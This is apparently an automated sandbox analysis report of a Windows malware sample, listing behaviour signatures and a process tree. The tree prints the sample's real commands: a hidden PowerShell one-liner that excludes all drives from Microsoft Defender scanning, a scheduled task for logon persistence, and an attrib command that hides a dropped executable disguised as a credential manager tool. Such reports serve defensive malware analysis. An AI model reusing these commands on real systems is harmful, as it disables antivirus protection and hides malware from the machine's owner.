Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 14:07

General

  • Target
    hollyshit.exe
  • Size 632KB
  • Sample260720-re9pdaev9x
  • SHA256 9c5c959be476ade0959e4c5f059674881b5d0d617ab983f27b646545a7b9211a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\hollyshit.exe
    "C:\Users\Admin\AppData\Local\Temp\hollyshit.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe" --r
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe" --wd 3464
        3⤵
        • Executes dropped EXE
        PID:4560
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && Üwõ‰É²³¬¨_˜D^®§Í1/pÿø»>’±r>'Ã\rfS‘ž`<ç¢ sðRM_xœ¿Zbœ ÓÄ@8Œîo1ŒŠn‰'ð~ørÇss·]L™^߀ÿƒÁïÂG’vdÌöº€J"D³ªßD® £%TâÚ+ rŠLC ë R÷”¦xÖ u/)Õ“{î5Xpªccˍ$ï$ÙÐÖÄÓ³ c3'ÇÃ{ŒÊÕº­¯
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6008
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:4196
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          3⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Hidden Window
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious use of WriteProcessMemory
          PID:4140
          • C:\Windows\system32\chcp.com
            chcp 65001
            4⤵
              PID:5056
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1212
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "CredentialMgrMonitor" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrMonitor.exe\"" /ru ""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5940
            • C:\Windows\system32\chcp.com
              chcp 65001
              4⤵
                PID:476
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /tn "CredentialMgrMonitor" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrMonitor.exe\"" /ru ""
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4864
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe"
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:5532
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:6044
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe"
                  4⤵
                  • Views/modifies file attributes
                  PID:5500
          • C:\Users\Admin\AppData\Roaming\CredentialMgrMonitor.exe
            "C:\Users\Admin\AppData\Roaming\CredentialMgrMonitor.exe"
            1⤵
            • Executes dropped EXE
            PID:4820

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                CredentialMgrMonitor.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\CredentialMgrMonitor.exe
                • Size 632KB
                • SHA256 9c5c959be476ade0959e4c5f059674881b5d0d617ab983f27b646545a7b9211a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1180-2-0x00007FF746BC0000-0x00007FF746C7B000-memory.dmp

                memory/1212-5-0x000002C5A02E0000-0x000002C5A0302000-memory.dmp

                memory/1212-8-0x000002C5A05A0000-0x000002C5A05BE000-memory.dmp

                memory/1212-9-0x000002C5A05C0000-0x000002C5A0672000-memory.dmp

                memory/1212-10-0x000002C5A0390000-0x000002C5A039A000-memory.dmp

                memory/3464-14-0x00007FF73BD80000-0x00007FF73BE3B000-memory.dmp

                memory/3464-16-0x00007FF73BD80000-0x00007FF73BE3B000-memory.dmp

                memory/4560-15-0x00007FF73BD80000-0x00007FF73BE3B000-memory.dmp

                memory/4820-13-0x00007FF6826D0000-0x00007FF68278B000-memory.dmp